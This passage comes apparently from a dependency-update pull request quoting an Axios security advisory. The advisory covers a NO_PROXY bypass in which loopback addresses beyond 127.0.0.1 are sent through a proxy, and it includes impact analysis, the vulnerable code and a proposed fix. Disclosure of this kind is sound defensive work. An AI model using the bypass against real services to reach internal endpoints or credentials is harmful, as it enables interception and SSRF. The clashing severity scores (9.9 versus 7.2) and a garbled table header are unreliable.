Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.

This confirms that the NO_PROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.

4. Impact Assessment
This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NO_PROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.

4.1 Who Is Impacted?

Primary Target — Node.js Backend Applications
Any Node.js application that meets all three of the following conditions is vulnerable:

Condition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment
              (common in corporate networks, cloud deployments,
               containerised environments, and CI/CD pipelines)
Condition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
              to protect loopback or internal services from proxy routing

Affected Deployment Environments

Environment Risk Level
Cloud-hosted applications (AWS, GCP, Azure) Critical
Containerised microservices (Docker, Kubernetes) Critical
Corporate networks with mandatory proxy High
CI/CD pipelines with proxy environment variables High
On-premise servers with internal proxy High

Scale of Exposure
Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.

4.3 Impact Details

Impact 1 Silent Interception of Internal Service Traffic

When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.

Developer expects:    Application → 127.0.0.2:8080 (direct)
Actual behaviour:     Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
  - Full request URL
  - HTTP method
  - All request headers (including Authorization, Cookie, API keys)
  - Request body (for POST/PUT requests)
  - Full response from the internal service

The developer receives no error or warning. From the application's perspective, the request succeeds normally.

Impact 2 — SSRF Mitigation Bypass
Many applications implement SSRF protections by configuring NO_PROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.

SSRF Protection (as configured by developer):
  NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
  All loopback/internal addresses
What is actually protected:
  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)

An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.

Impact 3 — Cloud Metadata Service Exposure
In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.

While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:

  • Retrieve temporary IAM credentials
  • Access environment variables containing secrets
  • Enumerate internal service configurations
  • Pivot to other internal services via the compromised credentials

Impact 4 — Confidential Data Exfiltration
Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:

Internal Service Type Exposed Data
Admin panels / dashboards User data, configuration, logs
Internal APIs Business logic, database contents
Secret managers / vaults API keys, tokens, certificates
Health check endpoints Infrastructure topology
Development services Source code, environment variables

Impact 5 — No Indication of Compromise
A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.

4.4 Comparison with Original Vulnerability

Internal Service Type Exposed Data Exposed Data
Attack method Use localhost. or [::1] Use any 127.x.x.x ≠ 127.0.0.1
Patch status Fixed in 1.15.0 Not fixed in 1.15.0
CVSS score 9.3 Critical 9.9 Critical or (equivalent)
Attacker effort Trivial Trivial
Detection by developer None None
Impact SSRF / proxy bypass SSRF / proxy bypass (identical)

The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.

5. Technical Remediation & Proposed Fix

5.1 Vulnerable Code Block

The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:

// lib/helpers/shouldBypassProxy.js — Axios 1.15.0
// Lines 1–3 (VULNERABLE)
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);

This hardcoded Set is subsequently used at line 108 during the final NO_PROXY match evaluation:

// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// isLoopback("127.0.0.2") → LOOPBACK_ADDRESSES.has("127.0.0.2") → FALSE
// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1

Why this is dangerous: The Set performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns false, causing shouldBypassProxy() to return false and silently route the request through the configured proxy.

5.2 Proposed Patched Code
Replace lines 1–3 in lib/helpers/shouldBypassProxy.js with the following RFC-compliant implementation:

// lib/helpers/shouldBypassProxy.js
// Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant)
const isLoopback = (host) => {
  // Named loopback hostname
  if (host === 'localhost') return true;
  // IPv6 loopback address
  if (host === '::1') return true;
  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3)
  // Matches any address from 127.0.0.0 through 127.255.255.254
  const parts = host.split('.');
  return (
    parts.length === 4 &&
    parts[0] === '127' &&
    parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
  );
};

5.3 Diff View — Before vs After

// lib/helpers/shouldBypassProxy.js
- const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
-
- const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
+ const isLoopback = (host) => {
+   if (host === 'localhost') return true;
+   if (host === '::1') return true;
+   const parts = host.split('.');
+   return (
+     parts.length === 4 &&
+     parts[0] === '127' &&
+     parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
+   );
+ };

All other code in shouldBypassProxy.js remains unchanged. No other files require modification.

5.4 Why This Fix Must Be Applied

Reason 1 — RFC 1122 Compliance

The current implementation violates RFC 1122 §3.2.1.3, which defines the entire 127.0.0.0/8 block as the IPv4 loopback address range not just the single address 127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.

RFC 1122 §3.2.1.3:
"The address 127.0.0.0/8 is assigned for loopback.
 A datagram sent by a higher-level protocol to a loopback
 address MUST NOT appear on any network."
Current fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)
Proposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)

Reason 2 — The Existing Patch Has Already Failed Once

The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting 127.0.0.1 with any other address in the 127.0.0.0/8 range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.

Reason 3 — Real Operating System Behaviour
On Linux the dominant platform for Node.js server deployments the kernel routes the entire 127.0.0.0/8 subnet to the loopback interface lo by default. This means any address in that range functions identically to 127.0.0.1 at the networking level.


##### Linux routing table — default configuration
$ ip route show table local | grep "127"
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1

##### Proof: 127.0.0.2 is a valid loopback address on Linux
$ ping -c 1 127.0.0.2
PING 127.0.0.2: 56 data bytes
64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms
04_linux_loopback_subnet_proof

Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.

06_ping_127 0 0 2_loopback_confirmed

Reason 4 — The Proposed Fix Has Zero Performance Impact
The existing solution uses a Set.has() lookup an O(1) operation. The proposed fix replaces this with:

  1. Two direct string comparisons ('localhost', '::1') — O(1)
  2. A split('.') and array validation — O(1) with a fixed-length array of 4 elements
    The computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.

Reason 5 — The Fix Is Minimal and Surgical
The proposed change modifies only 3 lines of a single file. It does not alter:

  • The parseNoProxyEntry() function
  • The normalizeNoProxyHost() function
  • The shouldBypassProxy() main function logic
  • Any other file in the codebase

This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.

Reason 6 — Resilient to Alternative IP Encodings
Because Axios normalises the request URL using Node's native new URL() parser before passing it to shouldBypassProxy(), alternative IP encodings (such as octal 0177.0.0.1, hex 0x7f.0.0.1, or integer 2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed .split('.') validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.

5.5 Additional Recommendation — IPv6 Loopback Range

While the primary bypass demonstrated in this report targets the IPv4 127.0.0.0/8 range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only ::1. A more complete check would also handle the full-form notation:

// Additional IPv6 loopback representations to consider:
'0:0:0:0:0:0:0:1'      // Full notation of ::1
'::ffff:127.0.0.1'     // IPv4-mapped IPv6 loopback
'::ffff:7f00:1'        // Hex IPv4-mapped IPv6 loopback

Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.

Severity

  • CVSS Score: 7.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

CVE-2026-42041 / GHSA-w9j2-pvgh-6h63

More information

Details

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy
Summary

The Axios library is

✂ Note

PR body was truncated to here.

@renovate renovate Bot added the dependencies Pull requests that update a dependency file label May 5, 2026
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